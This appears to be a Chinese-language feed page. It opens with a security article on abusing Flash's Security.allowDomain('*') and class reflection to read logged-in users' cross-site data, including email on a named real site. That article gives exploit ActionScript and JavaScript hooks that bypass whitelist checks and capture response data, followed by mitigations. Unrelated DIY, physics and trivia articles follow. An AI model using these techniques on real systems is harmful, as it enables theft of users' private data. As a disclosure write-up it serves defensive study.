隐私泄露杀手锏:Flash 权限反射

前言

一直以为该风险早已被重视,但最近无意中发现,仍有不少网站存在该缺陷,其中不乏一些常用的邮箱、社交网站,于是有必要再探讨一遍。

事实上,这本不是什么漏洞,是 Flash 与生俱来的一个正常功能。但由于一些 Web 开发人员了解不够深入,忽视了该特性,从而埋下安全隐患。

原理

这一切还得从经典的授权操作说起:

Security.allowDomain('*')

对于这行代码,或许都不陌生。尽管知道使用 * 是有一定风险的,但想想自己的 Flash 里并没有什么高危操作,把我拿去又能怎样?

显然,这还停留在 XSS 的思维上。Flash 和 JS 通信确实存在 XSS 漏洞,但要找到一个能利用的 swf 文件并不容易:既要读取环境参数,又要回调给 JS,还得确保自动运行。

因此,一些开发人员以为只要不与 JS 通信,就高枕无忧了。同时为了图方便,直接给 swf 授权了 *,省去一大堆信任列表。

事实上,Flash 被网页嵌套仅仅是其中一种而已,更普遍的,则是 swf 之间的嵌套。然而无论何种方式,都是通过 Security.allowDomain 进行授权的 —— 这意味着,一个 * 不仅允许被第三方网页调用,同时还包括了其他任意 swf!

被网页嵌套,或许难以找到利用价值。但被自己的同类嵌套,可用之处就大幅增加了。因为它们都是 Flash,位于同一个运行时里,相互之间存在着密切的关联。

我们如何将这种关联,进行充分利用呢?

利用

关联容器

在 Flash 里,舞台(stage)是这个世界的根基。无论加载多少个 swf,舞台始终只有一个。任何元素(DisplayObject)必须添加到舞台、或其子容器下,才能展示和交互。

因此,不同 swf 创建的元素,都是通过同一个舞台展示的。它们能感知相互的存在,只是受到同源策略的限制,未必能相互操作。

然而,一旦某个 swf 主动开放权限,那么它的元素就不再受到保护,能被任意 swf 访问了!

听起来似乎不是很严重。我创建的界面元素,又有何访问价值?也就获取一些坐标、颜色等信息而已。

偷窥元素的自身属性,或许并没什么意义。但并非所有的元素,都是为了纯粹展示的 —— 有时为了扩展功能,继承了元素类的特征,在此之上实现额外的功能。

最典型的,就是每个 swf 的主类:它们都继承于 Sprite,即使程序里没用到任何界面相关的。

有这样扩展元素存在,我们就可以访问那些额外的功能了。

开始我们的第一个案例。某个 swf 的主类在 Sprite 的基础上,扩展了网络加载的功能:

// vul.swf
public class Vul extends Sprite {

    public var urlLoader:URLLoader = new URLLoader();

    public function download(url:String) : void {
        urlLoader.load(new URLRequest(url));
        ...
    }

    public function Vul() {
        Security.allowDomain('*');
        ...
    }
    ...
}

通过第三方 swf,我们将其加载进来。由于 Vul 继承了 Sprite,因此拥有了元素的基因,我们可以从容器中找到它。

同时它也是主类,默认会被添加到 Loader 这个加载容器里。

// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
    var main:* = DisplayObjectContainer(loader).getChildAt(0);

    trace(main);    // [object Vul]
});
loader.load(new URLRequest('//swf-site/vul.swf'));

因为 Loader 是子 swf 的默认容器,所以其中第一个元素显然就是子 swf 的主类:Vul。

由于 Vul 定义了一个叫 download 的公开方法,并且授权了所有的域名,因此在第三方 exp.swf 里,自然也能调用它:

main.download('//swf-site/data');

同时 Vul 中的 urlLoader 也是一个公开暴露的成员变量,同样可被外部访问到,并对其添加数据接收事件:

var ld:URLLoader = main.urlLoader;
ld.addEventListener('complete', function(e:Event) : void {
    trace(ld.data);
});

尽管这个 download 方法是由第三方 exp.swf 发起的,但最终执行 URLLoader 的 load 方法时,上下文位于 vul.swf 里,因此这个请求仍属于 swf-site 的源。

于是攻击者从任意位置,跨站访问 swf-site 下的数据了。

更糟的是,Flash 的跨源请求可通过 crossdomain.xml 来授权。如果某个站点允许 swf-site,那么它也成了受害者。

如果用户正处于登录状态,攻击者悄悄访问带有个人信息的页面,用户的隐私数据可能就被泄露了。攻击者甚至还可模拟用户请求,将恶意链接发送给其他好友,导致蠕虫传播。

ActionScript 虽然是强类型的,但只是开发时的约束,在运行时仍和 JavaScript 一样,可动态访问属性。

类反射

通过容器这个桥梁,我们可访问到子 swf 中的对象。但前提条件仍过于理想,现实中能利用的并不多。

如果目标对象不是一个元素,也没有和公开的对象相关联,甚至根本就没有被实例化,那是否就无法获取到了?

做过页游开发的都试过,将一些后期使用的素材打包在独立的 swf 里,需要时再加载回来从中提取。目标 swf 仅仅是一个资源包,其中没有任何脚本,那是如何参数提取的?

事实上,整个过程无需子 swf 参与。所谓的『提取』,其实就是 Flash 中的反射机制。通过反射,我们即可隔空取物,直接从目标 swf 中取出我们想要的类。

因此我们只需从目标 swf 里,找到一个使用了网络接口类,即可尝试为我们效力了。

开始我们的第二个案例。这是某电商网站 CDN 上的一个广告活动 swf,反编译后发现,其中一个类里封装了简单的网络操作:

// vul.swf
public class Tool {
    public function getUrlData(url:String, cb:Function) : void {
        var ld:URLLoader = new URLLoader();
        ld.load(new URLRequest(url));
        ld.addEventListener('complete', function(e:Event) : void {
            cb(ld.data);
        });
        ...
    }
    ...

在正常情况下,需一定的交互才会创建这个类。但反射,可以让我们避开这些条件,提取出来直接使用:

// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
    var cls:* = loader.contentLoaderInfo.applicationDomain.getDefinition('Tool');
    var obj:* = new cls;

    obj.getUrlData('http://victim-site/user-info', function(d:*) : void {
        trace(d);
    });
});
loader.load(new URLRequest('//swf-site/vul.swf'));

由于 victim-site/crossdomain.xml 允许 swf-site 访问,于是 vul.swf 在不经意间,就充当了隐私泄露的傀儡。

攻击者拥有了 victim-site 的访问权,即可跨站读取页面数据,访问用户的个人信息了。

由于大多 Web 开发者对 Flash 的安全仍局限于 XSS 之上,从而忽视了这类风险。即使在如今,网络上仍存在大量可被利用的缺陷 swf 文件,甚至不乏一些大网站也纷纷中招。

当然,即使有反射这样强大的武器,也并非所有的 swf 都是可以利用的。显然,要符合以下几点才可以:

  • 执行 Security.allowDomain(可控站点)
  • 能控制触发 URLLoader/URLStream 的 load 方法,并且 url 参数能自定义
  • 返回的数据可被获取

第一条:这就不用说了,反射的前提也是需要对方授权的。

第二条:理想情况下,可直接调用反射类中提供的加载方法。但现实中未必都是 public 的,这时就无法直接调用了。只能分析代码逻辑,看能不能通过公开的方法,构造条件使得流程走到请求发送的那一步。同时 url 参数也必须可控,否则也就没意义了。

第三条:如果只能将请求发送出去,却不能拿到返回的内容,同样也是没有意义的。

也许你会说,为什么不直接反射出目标 swf 中的 URLLoader 类,那不就可以直接使用了吗。然而事实上,光有类是没用的,Flash 并不关心这个类来自哪个 swf,而是看执行 URLLoader::load 时,当前位于哪个 swf。如果在自己的 swf 里调用 load,那么请求仍属于自己的源。

同时,AS3 里已没有 eval 函数了。唯一能让数据变指令的,就是 Loader::loadBytes,但这个方法也有类似的判断。

因此我们还是得通过目标 swf 里的已有的功能,进行利用。

案例

这里分享一个现实中的案例,之前已上报并修复了的。

这是 126.com 下的一个 swf,位于 http://mail.126.com/js6/h/flashRequest.swf。

反编译后可发现,主类初始化时就开启了 * 的授权,因此整个 swf 中的类即可随意使用了!

同时,其中一个叫 FlashRequest 的类,封装了常用的网络操作,并且关键方法都是 public 的:

我们将其反射出来,根据其规范调用,即可发起跨源请求了!

由于网易不少站点的 crossdomain.xml 都授权了 126.com,因此可暗中查看已登录用户的 163/126 邮件了:

甚至还可以读取用户的通信录,将恶意链接传播给更多的用户!

进阶

借助爬虫和工具,我们可以找出不少可轻易利用的 swf 文件。不过本着研究的目的,我们继续探讨一些需仔细分析才能利用的案例。

进阶 No.1 —— 绕过路径检测

当然也不是所有的开发人员,都是毫不思索的使用 Security.allowDomain(‘*’) 的。

一些有安全意识的,即使用它也会考虑下当前环境是否正常。例如某个邮箱的 swf 初始化流程:

// vul-1.swf
public function Main() {
    var host:String = ExternalInterface.call('function(){return window.location.host}');

    if host not match white-list
        return

    Security.allowDomain('*');
    ...

它会在授权之前,对嵌套的页面进行判断:如果不在白名单列表里,那就直接退出。

由于白名单的匹配逻辑很简单,也找不出什么瑕疵,于是只能将目光转移到 ExternalInterface 上。为什么要使用 JS 来获取路径?

因为 Flash 只提供当前 swf 的路径,并不知道自己是被谁嵌套的,于是只能用这种曲线救国的办法了。

不过上了 JS 的贼船,自然就躲不过厄运了。有数不清的前端黑魔法正等着跃跃欲试。Flash 要和各种千奇百怪的浏览器通信,显然需要一套消息协议,以及一个 JS 版的中间桥梁,用以支撑。了解 Flash XSS 的应该都不陌生。

在这个桥梁里,其中有一个叫 __flash__toXML 的函数,负责将 JS 执行后的结果,封装成消息协议返回给 Flash。如果能搞定它,那一切就好办了。

显然这个函数默认是不存在的,是载入了 Flash 之后才注册进来的。既然是一个全局函数,页面中的 JS 也能重定义它:

// exp-1.js
function handler(str) {
    console.log(str);
    return '<string>hi,jack</string>';
}
setInterval(function() {
    var rawFn = window.__flash__toXML;
    if (rawFn && rawFn != handler) {
        window.__flash__toXML = handler;
    }
}, 1);

通过定时器不断监控,一旦出现就将其重定义。于是用 ExternalInterface.call 无论执行什么代码,都可以随意返回内容了!

为了消除定时器的延迟误差,我们先在自己的 swf 里,随便调用下 ExternalInterface.call 进行预热,让 __flash__toXML 提前注入。之后子 swf 使用时,已经是被覆盖的版本了。


当然,即使不使用覆盖的方式,我们仍可以控制 __flash__toXML 的返回结果。

仔细分析下这个函数,其中调用了 __flash__escapeXML:

function __flash__toXML(value) {
    var type = typeof(value);
    if (type == "string") {
        return "<string>" + __flash__escapeXML(value) + "</string>";
    ...
}

function __flash__escapeXML(s) {
    return s.replace(/&/g, "&amp;").replace(/</g, "&lt;") ... ;
}

里面有一大堆的实体转义,但又如何进行利用?

因为它是调用 replace 进行替换的,然而在万恶的 JS 里,常用的方法都是可被改写的!我们可以让它返回任何想要的值:

// exp-1.js
String.prototype.replace = function() {
    return 'www.test.com';
};

甚至还可以针对 __flash__escapeXML 的调用,返回特定值:

String.prototype.replace = function F() {
    if (F.caller == __flash__escapeXML) {
        return 'www.test.com';
    }
    ...
};

于是 ExternalInterface.call 的问题就这样解决了。人为返回一个白名单里的域名,即可绕过初始化中的检测,从而顺利执行 Security.allowDomain(*)。

所以,绝不能相信 JS 返回的内容。连标点符号都不能信!


进阶 No.2 —— 构造请求条件

下面这个案例,是某社交网站的头像上传 Flash。

不像之前那些,都可顺利找到公开的网络接口。这个案例十分苛刻,搜索整个项目,只出现一处 URLLoader,而且还是在 private 方法里。

// vul-2.swf
public class Uploader {

    public function Uploader(file:FileReference) {
        ...
        file.addEventListener(Event.SELECT, handler);
    }

    private function handler(e:Event) : void {
        var file:FileReference = e.target as FileReference;

        // check filename and data
        file.name ...
        file.data ...

        // upload(...)
    }

    private function upload(...) : void {
        var ld:URLLoader = new URLLoader();
        var req:URLRequest = new URLRequest();
        req.method = 'POST';
        req.data = ...;
        req.url = Param.service_url + '?xxx=' ....
        ld.load(req);
    }
}

然而即使要触发这个方法也非常困难。因为这是一个上传控件,只有当用户选择了文件对话框里的图片,并通过参数检验,才能走到最终的上传位置。

唯一可被反射调用的,就是 Uploader 类自身的构造器。同时控制传入的 FileReference 对象,来构造条件。

// exp-2.swf
var file:FileReference = new FileReference();

var cls:* = ...getDefinition('Uploader');
var obj:* = new cls(file);

然而 FileReference 不同于一般的对象,它会调出界面。如果中途弹出文件对话框,并让用户选择,那绝对是不现实的。

不过,弹框和回调只是一个因果关系而已。弹框会产生回调,但回调未必只有弹框才能产生。因为 FileReference 继承了 EventDispatcher,所以我们可以人为的制造一个事件:

file.dispatchEvent(new Event(Event.SELECT));

这样,就进入文件选中后的回调函数里了。

由于这一步会校验文件名、内容等属性,因此还得事先给这些属性赋值。然而遗憾的是,这些属性都是只读的,根本无法设置。

等等,为什么会有只读的属性?属性不就是一个成员变量吗,怎么做到只能读不可写?除非是 const,但那是常量,并非只读属性。

原来,所谓的只读,就是只提供了 getter、但没有 setter 的属性。这样就保证了属性内部可变,但外部不可写的特征。

如果我们能 hook 这个 getter,那就能返回任意值了。然而 AS 里的类默认都是密闭的,不像 JS 那样灵活,可随意篡改原型链。

事实上在高级语言里,有着更为优雅的 hook 方式,我们称作『重写』。我们创建一个继承 FileReference 的类,即可重写那些 getter 了:

// exp-2.swf
class FileReferenceEx extends FileReference {

    override public function get name() : String {
        return 'hello.gif';
    }
    override public function get data() : ByteArray {
        var bytes:ByteArray = new ByteArray();
        ...
        return bytes;
    }
}

根据著名的『里氏替换原则』,任何基类可以出现的地方,子类也一定可以出现。所以传入这个 FileReferenceEx 也是可接受的,之后一旦访问 name 等属性时,自然就落到我们的 getter 上了。

// exp-2.swf
var file:FileReference = new FileReferenceEx();  // !!!
...
var obj:* = new cls(file);

到此,我们成功模拟了文件选择的整个流程。

接着就到关键的上传位置了。庆幸的是,它没写死上传地址,而是从环境变量(loaderInfo.parameters)里读取。

说到环境变量,大家首先想到网页中 Flash 元素的 flashvars 属性,但其实还有两个地方可以传入:

  • swf url query(例如 .swf?a=1&b=2)
  • LoaderContext

由于 url query 是固定的,后期无法修改,所以选择 LoaderContext 来传递:

// exp-2.swf
var loader:Loader = new Loader();
var ctx:LoaderContext = new LoaderContext();
ctx.parameters = {
    'service_url': 'http://victim-site/user-data#'
};
loader.load(new URLRequest('http://cross-site/vul-2.swf'), ctx);

因为 LoaderContext 里的 parameters 是运行时共享的,这样就能随时更改环境变量了:

// next request
ctx.parameters.service_url = 'http://victim-site/user-data-2#';

同时为了不让多余的参数发送上去,还可以在 URL 末尾放置一个 #,让后面多余的部分变成 Hash,就不会走流量了。

尽管这是个很苛刻的案例,但仔细分析还是找出解决办法的。

当然,我们目的并不是为了结果,而是其中分析的乐趣:)


进阶 No.3 —— 捕获返回数据

当然,光把请求发送出去还是不够的,如果无法拿到返回的结果,那还是白忙活。

最理想的情况,就是能传入回调接口,这样就可直接获得数据了。但现实未必都是这般美好,有时我们得自己想办法取出数据。

一些简单的 swf 通常不会封装一个的网络请求类,每次使用时都直接写原生的代码。这样,可控的因子就少很多,利用难度就会大幅提升。

例如这样的场景,尽管能控制请求地址,但由于没法拿到 URLLoader,也就无从获取返回数据了:

public function download(url:String) : void {
    var ld:URLLoader = new URLLoader();
    ld.load(new URLRequest(url));
    ld.addEventListener('complete', function(e:Event) : void {
        // do nothing
    });
}

但通常不至于啥也不做,多少都会处理下返回结果。这时就得寻找机会了。

一旦将数据赋值到公开的成员变量里,那么我们就可通过轮询的方式来获取了:

public var data:*;
...
ld.addEventListener('complete', function(e:Event) : void {
    data = e.data;
});

或者,将数据存放到了某个元素里,用于显示:

private var textbox:TextField = new TextField();
...
addChild(textbox);
...
ld.addEventListener('complete', function(e:Event) : void {
    textbox.text = e.data;
});

同样可以利用文章开头提到的方法,从父容器里找出相应的元素,定时轮询其中的内容。

不过这些都算容易解决的。在一些场合,返回的数据根本不符合预期的格式,因此就无法处理直接报错了。


下面是个非常普遍的案例。在接收事件里,将数据进行固定格式的解码:

// vul-3.swf
import com.adobe.serialization.json.JSON;

ld.addEventListener('complete', function(e:Event) : void {
    var data:* = JSON.decode(e.data);
    ...
});

因为开发人员已经约定使用 JSON 作为返回格式,所以压根就没容错判断,直接将数据进行解码。

然而我们想要跨站读取的文件,未必都是 JSON 格式的。HTML、XML 甚至 JSONP,都被拍死在这里了。

难道就此放弃?都报错无法往下走了,那还能怎么办。唯一可行的,就是将错就错,往『错误』的方向走。

一个强大的运行时系统,都会提供一些接口,供开发者捕获全局异常。HTML 里有,Flash 里当然也有,甚至还要强大的多 —— 不仅能够获得错误相关的信息,甚至还能拿到 throw 出来的那个 Error 对象!

一般通用的类库,往往会有健全的参数检验。当遇到不合法的参数时,通常会将参数连同错误信息,作为异常抛出来。如果某个异常对象里,正好包含了我们想要的敏感数据的话,那就非常美妙了。

就以 JSON 解码为例,我们写个 Demo 验证一下:

var s:String = '<html>\n<div>\n123\n</div>\n</html>';
JSON.decode(s);

我们尝试将 HTML 字符传入 JSON 解码器,最终被断在了类库抛出的异常处:

异常中的前两个参数,看起来没多大意义。但第三个参数,里面究竟藏着是什么?

不用猜想,这正是我们想要的东西 —— 传入解码器的整个字符参数!

如此,我们就可在全局异常捕获中,拿到完整的返回数据了:

loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {
    trace(e.error.text);
});

惊呆了吧!只要仔细探索,一些看似不可能实现的,其实也能找到解决方案。

补救

如果从代码层面来修补,短时间内也难以完成。

大型网站长期以来,积累了相当数量的 swf 文件。有时为了解决版本冲突,甚至在文件名里使用了时间、摘要等随机数,这类的 swf 当时的源码,或许早已不再维护了。

因此,还是得从网站自身来强化。crossdomain.xml 中不再使用的域名就该尽早移除,需要则尽可能缩小子域范围。毕竟,只要出现一个带缺陷的 swf 文件,整个站点的安全性就被拉低了。

事实上,即使通过反射目标 swf 实现的跨站请求,referer 仍为攻击者的页面。因此,涉及到敏感数据读取的操作,验证一下来源还是很有必要的。

作为用户来说,禁用第三方 cookie 实在太有必要了。如今 Safari 已默认禁用,而 Chrome 则仍需手动添加。

总结

最后总结下,本文提到的 3 类权限:

  • 代码层面(public / private / …)
  • 模块层面(Security.allowDomain)
  • 站点层面(crossdomain.xml)

只要这几点都满足,就很有可能被用于跨源的请求。

也许会觉得 Flash 里坑太多了,根本防不胜防。但事实上这些特征早已存在,只是未被开发者重视而已。以至于各大网站如今仍普遍躺枪。

当然,信息泄露对每个用户都是受害者。希望能让更多的开发者看到,及时修复安全隐患。

隐私泄露杀手锏:Flash 权限反射,首发于博客 – 伯乐在线

极客DIY:只用两步教你制作一款可编程键盘 [译]

对于那些工作时需要与许多组合键打交道的人(比如经常使用Photoshop的人)来说,一款可编程键盘无疑是十分实用的。本期的DIY将为大家带来一款可编程键盘,其制作过程非常简单,有兴趣的小伙伴可以一试。

DIY材料及工具:

USB小键盘、PVA胶、A4纸、隐形胶带、刷子、剪刀、激光打印机

具体步骤:

Step1:制作属于你的自定义键盘

我设计的是一套Photshop专用的标签,我先在纸上做了按键布局的草图,这涉及到我可能会用到的所有功能以及它们所在的位置。通过Excel你可以很容易做到这些,尽可能的去完善这一步的内容,避免在实际的使用中因为遗漏而不得不修改标签。

具体的图片可以在谷歌/百度图片中找到,另外如果你想要制作的是其他方面的键盘,只需要自己进行设计即可。

将标签打印出来,保证尺寸大小合适然后按列(或行)进行剪裁。用胶带覆盖每一列(或行),推荐使用隐形胶带,因为这样可以保证能够长时间的使用且不会变黄或者脱落。

最后将每一个按键标签剪裁出来,注意大小一致。

用PVA胶均匀的涂一层在标签上,找到合适的位置,然后迅速将标签用力按下,如此依次完成所有的按键。完成后对整个键盘做一些清洁处理,保证键盘看起来不错。

Step2:HID Macros设置及操作

HID Macros对于我们来说是一个非常完美的软件,它可以修改键盘的功能保证当你在使用键盘时不会激活键盘原有的功能,非常适合我们的目标。

关于HID Macros 以及源码

它没有安装运行的过程,你只需要把它解压缩到合适的文件夹中就可以了。

先插入键盘到电脑上,然后打开HID Macros。比如说我想把“7”号键变成字符“b”,在Photoshop中“b”是“刷子”。

参考上面的截图然后按照以下步骤进行:

单击“NEW”然后为你的新按键取名,比如我的是 “刷子”。点击“SCAN”按钮,选择按键“7”,然后点选“Send keyboard sequence”并输入字符“b”,最后点击 “Save Configuration” 即可。完成后当你在使用按键“7”时,都会显示字符“b”。其他按键依次操作即可。

另外在HID macros中,你可以添加多个设备并在每个设备中存储不同的按键指令。因此添加或删除设备时需要谨慎,以免键盘按键命令出现错乱。

正确的方法是,点击“devices”按钮,你可以看到所有相关联的设备,点击“Move macros”选择你想要移动的设备。如果不确定是哪一个设备,可以点击“Macros”然后按键盘的任意按键,设备的测试区域将会告诉你。

HidMacros及标签图.zip

极客DIY:只用两步教你制作一款可编程键盘 [译],首发于极客范 – GeekFan.net

极客DIY:用树莓派制作低成本高清监控摄像机 [译]

本文将为大家展示一款高清监控摄像机的DIY过程,且相较于其市场价,本次DIY的花费不到其十分之一。另外通过该摄像机,你可以随时从浏览器或者手机中查看监控区域的画面。

DIY材料:

B型树莓派、树莓派摄像机模块、摄像机外壳、电源、SD卡、USB无线接收器

具体步骤:

STEP1

首先,需要安装操作系统和软件。操作系统的选择毫无疑问是Raspbian,这是目前世界上最先进的树莓派操作系统,也号称是世界上最小的操作系统,诞生后就迅速取代了红帽为ARM处理器特别订制的Fedora。你的SD卡要确保能使Raspbian在树莓派上运行,推荐Adafruit 上的教程。

将树莓派连接到网线上,然后利用显示器和键盘完成基本设置。插入装有Raspbian的SD卡,保持供电然后按照教程安装即可。另外还要保证即使在没有显示器和键盘的情况下,也能启用SSH,正常使用树莓派,当然还要确保Raspbian中摄像机菜单的正常启用。

现在检查你的树莓派更新

sudo apt-get install rpi-update
sudo rpi-update

并进行更新

sudo apt-get update
sudo apt-get upgrade

STEP2

完成上面的步骤之后你可以尝试将树莓派连接到你的电脑上,你可以通过局域网内的任何电脑使用LINUX console来控制它。这一点十分重要,因为这将确保当你需要修改摄像机的设置时不需要从墙上把它拿下来。

在Windows上则需要一个小软件Putty,安装完成之后进行连接即可。

STEP3

如果需要使摄像机可以进行WI-FI控制,可以进行以下的步骤:

通过console(Putty)来编辑树莓派的网络属性

sudo nano /etc/network/interfaces

在文件末尾添加以下内容

allow-hotplug wlan0
iface wlan0 inet dhcp
wpa-ssid “YOUR NETWORK SSID”
wpa-psk “WIFI PASSWORD”

重启树莓派看是否连接到WI-FI上了

sudo reboot

STEP4

接下来要做的就是外壳内部各个硬件部分的组装了,这项工作并不复杂,唯一需要注意的地方就是一定要保证当摄像机工作时不会出现意外状况。

我所采用的摄像机外壳有一个较大的玻璃窗口,我选择用一块黑色的纸将它遮盖住。这样做会使我们“摄像机”的技术不可见~当然你也可以选择不遮挡它,不过当它进行记录时会有红色的亮光闪烁。

或者你可以选择关掉这个红色的LED灯:

disable_camera_led=1

现在我们要做的是安装用于监测运动的软件,我所使用的这款软件是开源的,非常好用。点我下载

登陆你的树莓派用户“pi”,输入以下命令行开始安装

sudo apt-get install motion

安装过程中,各个步骤都只需选择“Y”即可。

当前版本的该软件并不支持树莓派的摄像机模块,所以我们需要安装一个插件来支持摄像机模块。

cd /tmp
sudo apt-get install -y libjpeg62 libjpeg62-dev libavformat53 libavformat-dev libavcodec53 libavcodec-dev libavutil51 libavutil-dev libc6-dev zlib1g-dev libmysqlclient18 libmysqlclient-dev libpq5 libpq-dev
wget https://www.dropbox.com/s/xdfcxm5hu71s97d/motion-mmal.tar.gz

解压压缩文件到/tmp的目录下

tar zxvf motion-mmal.tar.gz

解压后开始更新软件。

sudo mv motion /usr/bin/motion
sudo mv motion-mmalcam.conf /etc/motion.conf

当然,你还需要启用该软件的进程,保证其始终在后台运行。

sudo nano /etc/default/motion

改变这一行

start_motion_daemon=yes

进行非常重要的该软件的配置,这是一条非常重要的命令

sudo nano /etc/motion.conf

当你通过SSH使用该软件时一定要保证在用户“pi”下有正确的使用权限。

对该软件进行重启

sudo chmod 664 /etc/motion.conf
sudo chmod 755 /usr/bin/motion
sudo touch /tmp/motion.log
sudo chmod 775 /tmp/motion.log

对了,我对该软件的配置文件进行了一些修改以适应我的需求,文末会附上配置文件的压缩包。

配置文件的主要修改有以下几点:

确保该软件在后台保持运行

daemon on

我想将日志存在/tmp

logfile /tmp/motion.log

为了保证高清,我将分辨率设置为1280*720

width 1280
height 720

我们并不需要实时摄像,每秒两张照片完全足够

framerate 2

该软件有个非常好的地方,就是可以记录画面的前后帧

pre_capture 2
post_capture 2

对我们来说十分钟的视频足矣,在软件中这一配置选项由max_movie_time更名为max_mpeg_time,如果你使用motion- mmal 来建立可以正常工作即可,如果出现 ’Unknown config option ”max_mpeg_time”,将其变 为 max_movie_time或确保motion-mmal可以正常建立。

max_mpeg_time 600

VLC等一些播放媒体不能播放纪录电影,我们将其解码为MP4格式,使其可以正常播放。

ffmpeg_video_codec msmpeg4

允许其从任何地方都可以直接观看

stream_localhost off

如果你想保护查看视频的账号密码,你需要启用这个

stream_auth_method 2
stream_authentication SOMEUSERNAME:SOMEPASSWORD

完成更改后重启树莓派

sudo reboot

STEP6

SD卡的存储空间有点,因此最好将监测记录存储到电脑中。首先在windows机器中共享一个文件夹,然后打开fstab在PuTTY console或直接从设备上进行配置。

sudo nano /etc/fstab

配置windows网络共享文件夹

//YOURSERVERNAME/YOURSHAREDFOLDERNAME /mnt/camshare cifs username=YOURSHAREDFOLDERUSERNAME,password=YOURSHAREDFOLDERPASSWORD,iocharset=utf8,file_mode=0777,dir_mode=0777 0 0

保证用户获得使用权限。

重启树莓派后你会发现在共享文件夹中多了一个文件夹 /mnt/camshare 。设置你的motion.conf

target_dir /mnt/camshare

STEP7

在这里遇到了一点小麻烦,我发现运动监测软件被没有自启。检查后发现是当该软件试图访问windows的安装文件夹时,其还没准备好

解决起来很容易,只需要以下两步:

sudo nano /etc/init.d/motion

加入这一行

sleep 30

到 start-sequence

我所进行的对/etc/init.d/脚本的修改在文末压缩包中。

STEP8

接下来就是整个摄像头的安装固定了。需要注意的是保证电源在干燥通风的地方,另外还要确保WI-FI可以正常使用。

完成安装后你就可以通过浏览器访问http://IPADDRESSOFRASPBERRY:8080查看监测画面了。

如果想要在任何地方都可以访问你的监测画面,你需要启动某种动态域名到你的本地网络。它将可以使你在ip不断变化的情况下始终连接到你的本地网络。我所使用的是dyn.com,他们有很多免费服务,并且集成了很多路由器。

raspberry_surveillance_cam_scavix.zip

 

 

极客DIY:用树莓派制作低成本高清监控摄像机 [译],首发于极客范 – GeekFan.net

用保冷箱来冰冻啤酒,应该放多少冰?[译]

冷却饮料和酒最好的办法是放到冰里面。那么问题来了,要加多少冰呢?

注:文中的保冷箱(cooler)应该是这种东西

让我们先来假定一下:

如果你有N瓶啤酒,温度为室温22°C (约 72 °F)。
先准备好冰和啤酒,冰的温度就是0°C。
容器里面装满了水,为什么是水呢?这样可以用水的比热容。
多少水呢?标准容量是12液盎司,就是355毫升或者355克。
容器是铝制的,约15克。
保冷箱不会自带冰水化合物,可以在超市里买到。在啤酒降温时保证温度。

事物都有热能,温度越高,热能越多。我想做的就是将啤酒的热能转到冰上,关于温度有一点很酷:当你把东西接触一会儿,它们会达到同样的温度(不是相同的热能)。

因为冰是0°C,不会立刻升温,而是吸收能量先由冰化成水,接着水升温而啤酒开始降温,最后会剩下啤酒和水。虽然这不是你想要的,但这样确实有用。

温度改变需要多少热能?事实证明事物的热能变化取决于温度的变化、质量和比热容。

∆Ethermal = mC∆T
这里m指事物的质量,ΔT是温度变化,C是比热容。不同的事物有不同的比热容。这是为什么塑料咖啡杯不会烫伤你而里面同样温度的咖啡却可以。

当事物发生变化,例如从固体到液体,那么这就需要能量。所需的能量取决于质量和熔化潜热。现在估计一下,假设我有一罐苏打水或者说啤酒,那么我需要多少冰来使它降温?需要多冷?如果你不能下判断,没关系,我会让你搞清楚啤酒和冰的关系的。记住,假设啤酒的温度是22°C。

这里的关键是冰 (转为水) 的能量变化加上啤酒的能量必须是零。问题是冰的能量变化,假设所有的冰融化所需能量都来自啤酒,最终啤酒的温度可能会冰的其实温度还低。这正好符合能量守恒,但是这是不会发生的。在这种情况下,对象的变化温度会在两者温度达到相同时停止。

所以根据上面的理论,画出啤酒在冰水化合物的作用下温度变化的函数如下。

箭头指的地方是啤酒能达到的最低温度,不会低于零度的,就是说加100克的冰你就可以从冰水化合物中拿出你的啤酒了。

以此类推,六支啤酒就需要600克冰。不过要现实一点,以上的假设都是认为啤酒的热能全部转到冰里。事实上,还有其它的热能会进入冰里,保冷箱或者箱外的热能。

假如冰吸收的热能40%来自啤酒,那么每支啤酒就需要250克冰,六支需要1.5kg,一打需要3kg。

那么换个方法呢?假如我买了一包10磅(4.5kg)重的冰,那能冷却多少啤酒呢?用上面的计算方法来算应该是18支啤酒。比较现实的做法就是用10磅的冰来冷却一打啤酒,这样既能达到你想要的温度,还能保持较长一段时间。

用保冷箱来冰冻啤酒,应该放多少冰?[译],首发于极客范 – GeekFan.net

脑洞大开:10 个应该存在的科技发明

未来科技的发展总让我们有所遐想:我们的飞行汽车在哪里?

也许我们现在还不能开着一台定制化的 SUV 在空中遨游,但是自动驾驶和自动泊车系统表明,现代先进的科学技术离我们自动化,高度智能的生活方式越来越近。随着硅谷的精英们不断的在改变着我们的世 界,我们也迫不及待地憧憬着一些在生活中常见而简单的发明,这些简单的发明也能影响我们的生活,为我们带来许多便利。

让我们来看一看那些脑洞大开的想象力吧(万一哪天实现了呢)。

智能扫描仪:一个能识别婴儿身体健康状况的扫描仪(确定这不是 X 光?)。

变形衬衫:能根据天气状况自动变形的衬衫——在天热时变薄,在天冷时变厚(既有风度,也有温度)。

幻影移形:一台能实现无线跨越输送,从而减少通勤时间的设备(咦,这不是电影《哈利波特》里的大招吗?我只是一个麻瓜啊)。

逆向微波炉:这不是一台普通的微波炉,而是一台能使任何事物迅速变冷/凉的微波炉(呃,那么我们加热食物的意义又是什么?)。

超级吹风机:一台可以让我们在一分钟内就能吹干头发的吹风机(好棒!)

机器人宠物:当宠物主人不在家时,能陪猫猫狗狗们玩耍的机器人小伙伴(我只想养一只机器狗)。

虚拟现实隐形眼镜:难道就没有人觉得虚拟现实眼镜就像一款潜水眼镜吗?如果能买到一对能实现虚拟现实的隐形眼镜,看待这个世界的时候会不会就更加立体了?

时光机:人人都有一台时光机的话,这个时空会不会错乱啊?历史会不会重写啊?地球会不会毁灭啊?

「特技」鞋:看似一双普通平常的鞋子,但在下雨天或下雪天,一打响指,1秒钟变雨/雪靴(好像加了特技一样)。

超级电池:电池永远都不需要充电(特斯拉电动车应该会大卖。嗯好像哪里不对,这违反质量守恒定律啊)。

脑洞大开:10 个应该存在的科技发明,首发于极客范 – GeekFan.net

ASP.NET 安全

概述

安全在web领域是一个永远都不会过时的话题,今天我们就来看一看一些在开发ASP.NET MVC应用程序时一些值得我们注意的安全问题。本篇主要包括以下几个内容 :

  1. 认证
